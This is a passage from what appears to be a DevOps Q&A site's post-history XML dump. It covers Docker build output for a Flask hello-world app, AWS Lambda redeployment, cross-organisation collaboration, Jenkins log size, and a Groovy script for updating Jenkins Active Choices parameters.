MarkupSafe&gt;=0.23&#xD;&#xA;      Downloading MarkupSafe-1.1.1-cp38-cp38-manylinux1_x86_64.whl (32 kB)&#xD;&#xA;    Installing collected packages: Werkzeug, itsdangerous, click, MarkupSafe, Jinja2, flask&#xD;&#xA;    Successfully installed Jinja2-2.11.2 MarkupSafe-1.1.1 Werkzeug-1.0.1 click-7.1.2 flask-1.1.2 itsdangerous-1.1.0&#xD;&#xA;    Removing intermediate container d96dce20ef48&#xD;&#xA;     ---&gt; 7b0531de077e&#xD;&#xA;    Step 4/6 : RUN pip install flask_restful&#xD;&#xA;     ---&gt; Running in fe7ef1bb09cc&#xD;&#xA;    Collecting flask_restful&#xD;&#xA;      Downloading Flask_RESTful-0.3.8-py2.py3-none-any.whl (25 kB)&#xD;&#xA;    Collecting six&gt;=1.3.0&#xD;&#xA;      Downloading six-1.15.0-py2.py3-none-any.whl (10 kB)&#xD;&#xA;    Collecting aniso8601&gt;=0.82&#xD;&#xA;      Downloading aniso8601-8.0.0-py2.py3-none-any.whl (43 kB)&#xD;&#xA;    Collecting pytz&#xD;&#xA;      Downloading pytz-2020.1-py2.py3-none-any.whl (510 kB)&#xD;&#xA;    Requirement already satisfied: Flask&gt;=0.8 in /usr/local/lib/python3.8/site-packages (from flask_restful) (1.1.2)&#xD;&#xA;    Requirement already satisfied: Jinja2&gt;=2.10.1 in /usr/local/lib/python3.8/site-packages (from Flask&gt;=0.8-&gt;flask_restful) (2.11.2)&#xD;&#xA;    Requirement already satisfied: click&gt;=5.1 in /usr/local/lib/python3.8/site-packages (from Flask&gt;=0.8-&gt;flask_restful) (7.1.2)&#xD;&#xA;    Requirement already satisfied: Werkzeug&gt;=0.15 in /usr/local/lib/python3.8/site-packages (from Flask&gt;=0.8-&gt;flask_restful) (1.0.1)&#xD;&#xA;    Requirement already satisfied: itsdangerous&gt;=0.24 in /usr/local/lib/python3.8/site-packages (from Flask&gt;=0.8-&gt;flask_restful) (1.1.0)&#xD;&#xA;    Requirement already satisfied: MarkupSafe&gt;=0.23 in /usr/local/lib/python3.8/site-packages (from Jinja2&gt;=2.10.1-&gt;Flask&gt;=0.8-&gt;flask_restful) (1.1.1)&#xD;&#xA;    Installing collected packages: six, aniso8601, pytz, flask-restful&#xD;&#xA;    Successfully installed aniso8601-8.0.0 flask-restful-0.3.8 pytz-2020.1 six-1.15.0&#xD;&#xA;    Removing intermediate container fe7ef1bb09cc&#xD;&#xA;     ---&gt; 248ac954078c&#xD;&#xA;    Step 5/6 : EXPOSE 3333&#xD;&#xA;     ---&gt; Running in 9681adbfde78&#xD;&#xA;    Removing intermediate container 9681adbfde78&#xD;&#xA;     ---&gt; 34aada583093&#xD;&#xA;    Step 6/6 : CMD [ &quot;python&quot;, &quot;./helloworld.py&quot;]&#xD;&#xA;     ---&gt; Running in 268bb644239b&#xD;&#xA;    Removing intermediate container 268bb644239b&#xD;&#xA;     ---&gt; 148a79ef9a18&#xD;&#xA;    Successfully built 148a79ef9a18&#xD;&#xA;    Successfully tagged hello-world-python:latest&#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# docker run -p 3333:3333 hello-world-python&#xD;&#xA;     * Serving Flask app &quot;helloworld&quot; (lazy loading)&#xD;&#xA;     * Environment: production&#xD;&#xA;       WARNING: This is a development server. Do not use it in a production deployment.&#xD;&#xA;       Use a production WSGI server instead.&#xD;&#xA;     * Debug mode: off&#xD;&#xA;     * Running on http://0.0.0.0:3333/ (Press CTRL+C to quit)&#xD;&#xA;    172.17.0.1 - - [04/Oct/2020 22:31:39] &quot;GET / HTTP/1.1&quot; 200 -&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;and generates the correct output:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ curl http://localhost:3333&#xD;&#xA;    &quot;Hello World!&quot;&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But I'm more interested in a classic sort of &quot;console&quot; app, or is that just not how docker works?  There pretty much has to be a web server such as flask involved to get output?&#xD;&#xA;&#xD;&#xA;This output:&#xD;&#xA;&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker run hello-world&#xD;&#xA;    &#xD;&#xA;    Hello from Docker!&#xD;&#xA;    This message shows that your installation appears to be working correctly.&#xD;&#xA;    &#xD;&#xA;    To generate this message, Docker took the following steps:&#xD;&#xA;     1. The Docker client contacted the Docker daemon.&#xD;&#xA;     2. The Docker daemon pulled the &quot;hello-world&quot; image from the Docker Hub.&#xD;&#xA;        (amd64)&#xD;&#xA;     3. The Docker daemon created a new container from that image which runs the&#xD;&#xA;        executable that produces the output you are currently reading.&#xD;&#xA;     4. The Docker daemon streamed that output to the Docker client, which sent it&#xD;&#xA;        to your terminal.&#xD;&#xA;    &#xD;&#xA;    To try something more ambitious, you can run an Ubuntu container with:&#xD;&#xA;     $ docker run -it ubuntu bash&#xD;&#xA;    &#xD;&#xA;    Share images, automate workflows, and more with a free Docker ID:&#xD;&#xA;     https://hub.docker.com/&#xD;&#xA;    &#xD;&#xA;    For more examples and ideas, visit:&#xD;&#xA;     https://docs.docker.com/get-started/&#xD;&#xA;    &#xD;&#xA;    root@mordor:~# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;is pretty much useless?  (Or, at least more difficult to utilize?)&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.redhat.com/articles/csharp-container&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38520" PostHistoryTypeId="1" PostId="12543" RevisionGUID="087e486b-5c35-4420-b7d9-34869c917907" CreationDate="2020-10-04T22:40:15.207" UserId="23443" Text="How to process output from a &quot;hello world&quot; python script?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38521" PostHistoryTypeId="3" PostId="12543" RevisionGUID="087e486b-5c35-4420-b7d9-34869c917907" CreationDate="2020-10-04T22:40:15.207" UserId="23443" Text="&lt;docker&gt;&lt;python&gt;&lt;configuration&gt;&lt;shell-script&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38522" PostHistoryTypeId="5" PostId="12543" RevisionGUID="dc035df3-17c4-4062-87dc-b830933c6336" CreationDate="2020-10-04T22:47:09.867" UserId="23443" Comment="added 23 characters in body" Text="&#xD;&#xA;This [example][1] builds fine:&#xD;&#xA;&#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# ll&#xD;&#xA;    total 16&#xD;&#xA;    drwxr-xr-x 2 root root 4096 Oct  4 15:11 ./&#xD;&#xA;    drwxr-xr-x 3 root root 4096 Oct  4 15:09 ../&#xD;&#xA;    -rw-r--r-- 1 root root  134 Oct  4 15:10 Dockerfile&#xD;&#xA;    -rw-r--r-- 1 root root  290 Oct  4 15:11 helloworld.py&#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# cat Dockerfile &#xD;&#xA;    FROM python:3&#xD;&#xA;    ADD helloworld.py /&#xD;&#xA;    RUN pip install flask&#xD;&#xA;    RUN pip install flask_restful&#xD;&#xA;    EXPOSE 3333&#xD;&#xA;    CMD [ &quot;python&quot;, &quot;./helloworld.py&quot;]&#xD;&#xA;    &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# cat helloworld.py &#xD;&#xA;    from flask import Flask, request&#xD;&#xA;    from flask_restful import Resource, Api&#xD;&#xA;    &#xD;&#xA;    app = Flask(__name__)&#xD;&#xA;    api = Api(app)&#xD;&#xA;    &#xD;&#xA;    class Greeting (Resource):&#xD;&#xA;        def get(self):&#xD;&#xA;            return 'Hello World!'&#xD;&#xA;    &#xD;&#xA;    api.add_resource(Greeting, '/') # Route_1&#xD;&#xA;    &#xD;&#xA;    if __name__ == '__main__':&#xD;&#xA;        app.run('0.0.0.0','3333')&#xD;&#xA;    &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# git config --get remote.origin.url&#xD;&#xA;    https://github.com/donschenck/path-to-kubernetes&#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# docker build -t hello-world-python .&#xD;&#xA;    Sending build context to Docker daemon  3.072kB&#xD;&#xA;    Step 1/6 : FROM python:3&#xD;&#xA;    3: Pulling from library/python&#xD;&#xA;    57df1a1f1ad8: Pull complete &#xD;&#xA;    71e126169501: Pull complete &#xD;&#xA;    1af28a55c3f3: Pull complete &#xD;&#xA;    03f1c9932170: Pull complete &#xD;&#xA;    65b3db15f518: Pull complete &#xD;&#xA;    3e3b8947ed83: Pull complete &#xD;&#xA;    f156949921a1: Pull complete &#xD;&#xA;    1c1931013093: Pull complete &#xD;&#xA;    51fff639b6bf: Pull complete &#xD;&#xA;    Digest: sha256:1a126607adde46a706e76357c910f36b9f5529fb575d4d86a639a4997daceba7&#xD;&#xA;    Status: Downloaded newer image for python:3&#xD;&#xA;     ---&gt; bbf31371d67d&#xD;&#xA;    Step 2/6 : ADD helloworld.py /&#xD;&#xA;     ---&gt; 5fd4d1c7c5b7&#xD;&#xA;    Step 3/6 : RUN pip install flask&#xD;&#xA;     ---&gt; Running in d96dce20ef48&#xD;&#xA;    Collecting flask&#xD;&#xA;      Downloading Flask-1.1.2-py2.py3-none-any.whl (94 kB)&#xD;&#xA;    Collecting Werkzeug&gt;=0.15&#xD;&#xA;      Downloading Werkzeug-1.0.1-py2.py3-none-any.whl (298 kB)&#xD;&#xA;    Collecting itsdangerous&gt;=0.24&#xD;&#xA;      Downloading itsdangerous-1.1.0-py2.py3-none-any.whl (16 kB)&#xD;&#xA;    Collecting click&gt;=5.1&#xD;&#xA;      Downloading click-7.1.2-py2.py3-none-any.whl (82 kB)&#xD;&#xA;    Collecting Jinja2&gt;=2.10.1&#xD;&#xA;      Downloading Jinja2-2.11.2-py2.py3-none-any.whl (125 kB)&#xD;&#xA;    Collecting MarkupSafe&gt;=0.23&#xD;&#xA;      Downloading MarkupSafe-1.1.1-cp38-cp38-manylinux1_x86_64.whl (32 kB)&#xD;&#xA;    Installing collected packages: Werkzeug, itsdangerous, click, MarkupSafe, Jinja2, flask&#xD;&#xA;    Successfully installed Jinja2-2.11.2 MarkupSafe-1.1.1 Werkzeug-1.0.1 click-7.1.2 flask-1.1.2 itsdangerous-1.1.0&#xD;&#xA;    Removing intermediate container d96dce20ef48&#xD;&#xA;     ---&gt; 7b0531de077e&#xD;&#xA;    Step 4/6 : RUN pip install flask_restful&#xD;&#xA;     ---&gt; Running in fe7ef1bb09cc&#xD;&#xA;    Collecting flask_restful&#xD;&#xA;      Downloading Flask_RESTful-0.3.8-py2.py3-none-any.whl (25 kB)&#xD;&#xA;    Collecting six&gt;=1.3.0&#xD;&#xA;      Downloading six-1.15.0-py2.py3-none-any.whl (10 kB)&#xD;&#xA;    Collecting aniso8601&gt;=0.82&#xD;&#xA;      Downloading aniso8601-8.0.0-py2.py3-none-any.whl (43 kB)&#xD;&#xA;    Collecting pytz&#xD;&#xA;      Downloading pytz-2020.1-py2.py3-none-any.whl (510 kB)&#xD;&#xA;    Requirement already satisfied: Flask&gt;=0.8 in /usr/local/lib/python3.8/site-packages (from flask_restful) (1.1.2)&#xD;&#xA;    Requirement already satisfied: Jinja2&gt;=2.10.1 in /usr/local/lib/python3.8/site-packages (from Flask&gt;=0.8-&gt;flask_restful) (2.11.2)&#xD;&#xA;    Requirement already satisfied: click&gt;=5.1 in /usr/local/lib/python3.8/site-packages (from Flask&gt;=0.8-&gt;flask_restful) (7.1.2)&#xD;&#xA;    Requirement already satisfied: Werkzeug&gt;=0.15 in /usr/local/lib/python3.8/site-packages (from Flask&gt;=0.8-&gt;flask_restful) (1.0.1)&#xD;&#xA;    Requirement already satisfied: itsdangerous&gt;=0.24 in /usr/local/lib/python3.8/site-packages (from Flask&gt;=0.8-&gt;flask_restful) (1.1.0)&#xD;&#xA;    Requirement already satisfied: MarkupSafe&gt;=0.23 in /usr/local/lib/python3.8/site-packages (from Jinja2&gt;=2.10.1-&gt;Flask&gt;=0.8-&gt;flask_restful) (1.1.1)&#xD;&#xA;    Installing collected packages: six, aniso8601, pytz, flask-restful&#xD;&#xA;    Successfully installed aniso8601-8.0.0 flask-restful-0.3.8 pytz-2020.1 six-1.15.0&#xD;&#xA;    Removing intermediate container fe7ef1bb09cc&#xD;&#xA;     ---&gt; 248ac954078c&#xD;&#xA;    Step 5/6 : EXPOSE 3333&#xD;&#xA;     ---&gt; Running in 9681adbfde78&#xD;&#xA;    Removing intermediate container 9681adbfde78&#xD;&#xA;     ---&gt; 34aada583093&#xD;&#xA;    Step 6/6 : CMD [ &quot;python&quot;, &quot;./helloworld.py&quot;]&#xD;&#xA;     ---&gt; Running in 268bb644239b&#xD;&#xA;    Removing intermediate container 268bb644239b&#xD;&#xA;     ---&gt; 148a79ef9a18&#xD;&#xA;    Successfully built 148a79ef9a18&#xD;&#xA;    Successfully tagged hello-world-python:latest&#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# &#xD;&#xA;    root@mordor:~/gitrepo/path-to-kubernetes/src/python/helloworld# docker run -p 3333:3333 hello-world-python&#xD;&#xA;     * Serving Flask app &quot;helloworld&quot; (lazy loading)&#xD;&#xA;     * Environment: production&#xD;&#xA;       WARNING: This is a development server. Do not use it in a production deployment.&#xD;&#xA;       Use a production WSGI server instead.&#xD;&#xA;     * Debug mode: off&#xD;&#xA;     * Running on http://0.0.0.0:3333/ (Press CTRL+C to quit)&#xD;&#xA;    172.17.0.1 - - [04/Oct/2020 22:31:39] &quot;GET / HTTP/1.1&quot; 200 -&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;and generates the correct output:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;    nicholas@mordor:~$ curl http://localhost:3333&#xD;&#xA;    &quot;Hello World!&quot;&#xD;&#xA;    nicholas@mordor:~$ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But I'm more interested in a classic sort of &quot;console&quot; app, or is that just not how docker works?  There pretty much has to be a web server such as flask involved to get output?&#xD;&#xA;&#xD;&#xA;This sort of &quot;console&quot; type output:&#xD;&#xA;&#xD;&#xA;    root@mordor:~# &#xD;&#xA;    root@mordor:~# docker run hello-world&#xD;&#xA;    &#xD;&#xA;    Hello from Docker!&#xD;&#xA;    This message shows that your installation appears to be working correctly.&#xD;&#xA;    &#xD;&#xA;    To generate this message, Docker took the following steps:&#xD;&#xA;     1. The Docker client contacted the Docker daemon.&#xD;&#xA;     2. The Docker daemon pulled the &quot;hello-world&quot; image from the Docker Hub.&#xD;&#xA;        (amd64)&#xD;&#xA;     3. The Docker daemon created a new container from that image which runs the&#xD;&#xA;        executable that produces the output you are currently reading.&#xD;&#xA;     4. The Docker daemon streamed that output to the Docker client, which sent it&#xD;&#xA;        to your terminal.&#xD;&#xA;    &#xD;&#xA;    To try something more ambitious, you can run an Ubuntu container with:&#xD;&#xA;     $ docker run -it ubuntu bash&#xD;&#xA;    &#xD;&#xA;    Share images, automate workflows, and more with a free Docker ID:&#xD;&#xA;     https://hub.docker.com/&#xD;&#xA;    &#xD;&#xA;    For more examples and ideas, visit:&#xD;&#xA;     https://docs.docker.com/get-started/&#xD;&#xA;    &#xD;&#xA;    root@mordor:~# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;is pretty much [useless][2] for messaging between containers?&#xD;&#xA;&#xD;&#xA;A poor-man's `Apache ActiveMQ` was what I had in mind.&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.redhat.com/articles/csharp-container&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/12517/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="38523" PostHistoryTypeId="2" PostId="12544" RevisionGUID="9720a85a-0cfd-43cf-b322-7c76e8f01245" CreationDate="2020-10-05T04:49:06.217" UserId="24188" Text="I have asp dot net code. and I used command&#xD;&#xA;&#xD;&#xA;    dotnet lambda deploy-serverless&#xD;&#xA;&#xD;&#xA;But How could I update changes to the already deployed function via above command." ContentLicense="CC BY-SA 4.0" />
  <row Id="38524" PostHistoryTypeId="1" PostId="12544" RevisionGUID="9720a85a-0cfd-43cf-b322-7c76e8f01245" CreationDate="2020-10-05T04:49:06.217" UserId="24188" Text="How to Update asp.NET serverless code at aws lambda to deploy it" ContentLicense="CC BY-SA 4.0" />
  <row Id="38525" PostHistoryTypeId="3" PostId="12544" RevisionGUID="9720a85a-0cfd-43cf-b322-7c76e8f01245" CreationDate="2020-10-05T04:49:06.217" UserId="24188" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38526" PostHistoryTypeId="2" PostId="12545" RevisionGUID="42c1105d-32c7-44f6-b6df-834e54b7361d" CreationDate="2020-10-05T10:51:49.257" UserDisplayName="user14682" Text="In DevOps S-Pillar of &quot;CALMS&quot; says that it is also about sharing knowledge.&#xD;&#xA;&#xD;&#xA;At a present project I am working on, I am sitting at the interface between two organizations together with another &quot;DevOps&quot;-guy.&#xD;&#xA;A lot of our time is wasted because we have partly redundant meetings (with the organization on the left side) and we wait partially longer times until somebody from the right side can assist us in solving some issue.&#xD;&#xA;&#xD;&#xA;Sometimes I also spend hours to find out who is reponsible for getting some information for me that I need.&#xD;&#xA;&#xD;&#xA;What would you try to address to make more sharing possible although it is different organizations that are working on that project?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38527" PostHistoryTypeId="1" PostId="12545" RevisionGUID="42c1105d-32c7-44f6-b6df-834e54b7361d" CreationDate="2020-10-05T10:51:49.257" UserDisplayName="user14682" Text="How to communicate in a multi-organization spanning project" ContentLicense="CC BY-SA 4.0" />
  <row Id="38528" PostHistoryTypeId="3" PostId="12545" RevisionGUID="42c1105d-32c7-44f6-b6df-834e54b7361d" CreationDate="2020-10-05T10:51:49.257" UserDisplayName="user14682" Text="&lt;culture&gt;&lt;process&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38529" PostHistoryTypeId="2" PostId="12546" RevisionGUID="8d3dec37-b438-422b-85af-3110f7306ba2" CreationDate="2020-10-05T23:58:53.447" UserId="124" Text=" 1. Establish a wiki (such as Confluence, DokuWiki, etc).&#xD;&#xA; 2. Establish a chat/communications channel (such as through Slack or Mattermost).&#xD;&#xA; 3. Share some code repositories (such as through GitLab, Bitbucket, GitHub).&#xD;&#xA; 4. Share some binary repositories (such as through Artifactory, Nexus, Pulp).&#xD;&#xA; 5. Occasionally send out a &quot;newsletter&quot; email that showcases what your team are trying to accomplish.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38532" PostHistoryTypeId="50" PostId="5248" RevisionGUID="be3b10ad-edab-49d4-bd14-dd83b340673a" CreationDate="2020-10-07T00:03:10.373" UserId="-1" />
  <row Id="38533" PostHistoryTypeId="2" PostId="12547" RevisionGUID="b0a17571-5087-44a6-8afd-eaa4643bbf80" CreationDate="2020-10-07T10:40:58.583" UserId="24223" Text="I use Jenkins log recorders as described in docs:&#xD;&#xA;https://www.jenkins.io/doc/book/system-administration/viewing-logs/  &#xD;&#xA;It works, but log is only about 255 lines long, which is too short for my processing.  &#xD;&#xA;Newest lines are shown, I cant reach older logs, so I dont know what happened in the beginning.  &#xD;&#xA;How do I increase this size? I would like to keep at least 1MB of data.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38534" PostHistoryTypeId="1" PostId="12547" RevisionGUID="b0a17571-5087-44a6-8afd-eaa4643bbf80" CreationDate="2020-10-07T10:40:58.583" UserId="24223" Text="How to increase jenkins logger size?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38535" PostHistoryTypeId="3" PostId="12547" RevisionGUID="b0a17571-5087-44a6-8afd-eaa4643bbf80" CreationDate="2020-10-07T10:40:58.583" UserId="24223" Text="&lt;jenkins&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38536" PostHistoryTypeId="2" PostId="12548" RevisionGUID="e17127d4-94b5-4031-848b-831916392f40" CreationDate="2020-10-07T12:23:52.533" UserId="24224" Text="I want to access Jenkins Credentials to authenticate with Git **before** the pipeline script - to fill Active Choices parameter.&#xD;&#xA;&#xD;&#xA;In the pipeline I simply do it with `withCredentials`. But during pre-pipeline stage (i.e. Active Choices parameter) Hudson extensions such as `withCredentials` or `sshAgent` are not accessible. Currently I execute groovy `git ls-remote -h git@gitrepo.example.com:repo.git` with unencrypted key in jenkins_home directory (which is not a good idea).&#xD;&#xA;&#xD;&#xA;I know that there is some possibility to import and construct Java objects by reading Jenkin's and its plugins' source code - but this seems endless.&#xD;&#xA;&#xD;&#xA;So: is it possible to somehow easily import and apply Hudson extensions to current Groovy script or does anyone have some ready solution for this (apparently nobody published anything about such case)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38537" PostHistoryTypeId="1" PostId="12548" RevisionGUID="e17127d4-94b5-4031-848b-831916392f40" CreationDate="2020-10-07T12:23:52.533" UserId="24224" Text="Jenkins Credentials Manager + Active Choices" ContentLicense="CC BY-SA 4.0" />
  <row Id="38538" PostHistoryTypeId="3" PostId="12548" RevisionGUID="e17127d4-94b5-4031-848b-831916392f40" CreationDate="2020-10-07T12:23:52.533" UserId="24224" Text="&lt;jenkins&gt;&lt;groovy&gt;&lt;hudson&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38539" PostHistoryTypeId="2" PostId="12549" RevisionGUID="5985441c-a557-4efc-b2ae-9ea5b81d3e10" CreationDate="2020-10-07T14:40:29.163" UserId="2494" Text="I want to checkout a TFS repo, make some changes to a file and send the changeset to TFS.&#xD;&#xA;&#xD;&#xA;What are some ways to accomplish this with Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38540" PostHistoryTypeId="1" PostId="12549" RevisionGUID="5985441c-a557-4efc-b2ae-9ea5b81d3e10" CreationDate="2020-10-07T14:40:29.163" UserId="2494" Text="Updating a TFS repo with Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="38541" PostHistoryTypeId="3" PostId="12549" RevisionGUID="5985441c-a557-4efc-b2ae-9ea5b81d3e10" CreationDate="2020-10-07T14:40:29.163" UserId="2494" Text="&lt;jenkins&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38542" PostHistoryTypeId="2" PostId="12550" RevisionGUID="674a0df4-4984-4352-9807-e69b5f7a6b51" CreationDate="2020-10-07T20:41:14.413" UserId="4115" Text="It sounds to me like you're already aware of this, but there are a couple easy ways to do this, and a couple hard ways to do this.&#xD;&#xA;&#xD;&#xA;The easy ways:&#xD;&#xA;&#xD;&#xA;* Make your repo available for checkout without SSH keys or authentication credentials.&#xD;&#xA;* Manually add an SSH keypair for repo checkout to the Jenkins user on your Jenkins master node (since Active Choice Groovy scripts run on the master node).&#xD;&#xA;&#xD;&#xA;The hard ways:&#xD;&#xA;&#xD;&#xA;* Use the Jenkins Java API in your Active Choices code to extract credentials from the credentials store.  API docs are available for [the credentials store](https://javadoc.jenkins.io/plugin/credentials/) and the [ssh credentials type](https://javadoc.jenkins.io/plugin/ssh-credentials/).  There is no documentation on how to use the Java classes available in these plugins, so it's up to you to figure it out yourself.&#xD;&#xA;* Create a secondary &quot;meta&quot; job to update the parameters in the original Jenkins job (including Active Choices scripts) - I describe this a bit below.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you can't do any of the easy solutions for security reasons, there isn't an easy, straightforward way to update Active Choice parameters based on the contents of a git repo.  This is because:&#xD;&#xA;&#xD;&#xA;1. Like you said, &quot;during pre-pipeline stage (i.e. Active Choices parameter) Hudson extensions such as withCredentials or sshAgent are not accessible&quot;.&#xD;&#xA;2. The configuration for parameters, including Active Choice parameters, is taken from the *previous* run of that Pipeline, not the current one.  Meaning that, to update your parameters from within your Pipeline code, you'll need to run your Pipeline, which defeats the point of what you want to do.&#xD;&#xA;&#xD;&#xA;There is a solution for 1., which is to use Scripted Pipelines instead of Declarative, but that won't get around the problems of 2.&#xD;&#xA;&#xD;&#xA;The solution that I came up with when I ran into this issue is to create a second Jenkins job (I call it a &quot;meta&quot; job) which updates the parameters of the original job, including Active Choices scripts.  This second meta job is triggered by a git hook on the repository that I use to fill the options in my Active Choices parameters.  This has the advantage that you do not need to run the original job's Pipeline in order to update its parameters, solving the issues in 2.  Also, because it's still a Pipeline job, you can use normal Pipeline steps, thus allowing you to access the credentials store.&#xD;&#xA;&#xD;&#xA;My job looks (roughly) like this - I simplified it a lot to make it fit here, so you'll need to do a bunch of tweaking to get it working the way you want.  There are probably a ton of errors and bugs in this because I ripped apart an existing script to make this.  A few things to note:&#xD;&#xA;&#xD;&#xA;* This makes heavy use of Jenkins APIs, so you'll need to either disable the script sandbox or whitelist a ton of functions in the Jenkins security manager in order to get this to run&#xD;&#xA;* This is still technically a Scripted Pipeline even though it looks much more like a normal Groovy script than a Pipeline file&#xD;&#xA;* Because this is a Pipeline, you can use steps like `withCredentials` to check out repositories using the credentials store.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;import groovy.json.JsonOutput&#xD;&#xA;&#xD;&#xA;import org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript &#xD;&#xA;&#xD;&#xA;import org.biouno.unochoice.*&#xD;&#xA;import org.biouno.unochoice.model.*&#xD;&#xA;&#xD;&#xA;def metadataUrl = 'ssh://git@**************/metadata.git'&#xD;&#xA;def metadataBranch = 'master'&#xD;&#xA;&#xD;&#xA;def metadata = [:]&#xD;&#xA;&#xD;&#xA;node('master') {&#xD;&#xA;  git(&#xD;&#xA;    url: metadataUrl,&#xD;&#xA;    branch: metadataBranch,&#xD;&#xA;    credentialsId: 'jenkins',&#xD;&#xA;    changelog: false,&#xD;&#xA;  )&#xD;&#xA;&#xD;&#xA;  def dataDir = &quot;${pwd()}/myJsonFiles&quot;&#xD;&#xA;&#xD;&#xA;  // can't use File.eachFileMatch() due to:&#xD;&#xA;  // https://wiki.jenkins.io/display/JENKINS/Pipeline+CPS+method+mismatches&#xD;&#xA;  def files = new File(dataDir).list().findAll() { f-&gt;&#xD;&#xA;    FilenameUtils.getExtension(f) == 'json'&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  files.each() { f-&gt;&#xD;&#xA;    // TODO: nice error messages if files are misformatted&#xD;&#xA;    def name = FilenameUtils.removeExtension(f)&#xD;&#xA;    def data = readJson(file: &quot;${dataDir}/${f}&quot;)&#xD;&#xA;    metadata[name] = data&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// ChoiceParameterDefinition is the class name for the built-in static choice parameter.&#xD;&#xA;// CascadeChoiceParameter is the class name for the Active Choices dynamic choice parameter.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// begin first parameter&#xD;&#xA;def fileParam = new ChoiceParameterDefinition(&#xD;&#xA;  'file',&#xD;&#xA;  'The JSON file to use',&#xD;&#xA;)&#xD;&#xA;fileParam.setChoices(metadata.keySet())&#xD;&#xA;// end first parameter&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// begin second parameter&#xD;&#xA;def metadataJson = JsonOutput.toJson(metadata)&#xD;&#xA;&#xD;&#xA;def scriptText = &quot;&quot;&quot;&#xD;&#xA;import groovy.json.JsonSlurper&#xD;&#xA;&#xD;&#xA;def slurper = new JsonSlurper()&#xD;&#xA;def metadata = slurper.parseText('${metadataJson}')&#xD;&#xA;&#xD;&#xA;return metadata[file]['versions']&#xD;&#xA;&quot;&quot;&quot;&#xD;&#xA;def mainScript = new SecureGroovyScript(scriptText, true)&#xD;&#xA;def fallbackScript = new SecureGroovyScript('return [&quot;Error encountered - see logs&quot;]', true)&#xD;&#xA;def activeChoiceScript = new GroovyScript(mainScript, fallbackScript)&#xD;&#xA;&#xD;&#xA;def versionParam = new CascadeChoiceParameter(&#xD;&#xA;  'version', &#xD;&#xA;  'The version to use',&#xD;&#xA;  activeChoiceScript,&#xD;&#xA;  'PT_SINGLE_SELECT',&#xD;&#xA;  'file',&#xD;&#xA;  false,&#xD;&#xA;)&#xD;&#xA;// end second parameter&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;def paramProp = new ParametersDefinitionProperty(fileParam, versionParam)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// this is the full name of the actual job which needs dynamic parameters&#xD;&#xA;def job = Jenkins.instance.getItemByFullName('UNIX/deploy_to_environment/master')&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// There is no &quot;setProperty&quot; - we need to remove and replace.&#xD;&#xA;// removeProperty is safe to run even if no matching properties are set on the job.&#xD;&#xA;// However, this method only removes one property per method call.&#xD;&#xA;// Theoretically, this means the job could accumulate multiple conflicting&#xD;&#xA;// ParametersDefinitionProperty properties.&#xD;&#xA;// TODO: run removeProperty in a while loop to eliminate all matching properties for extra 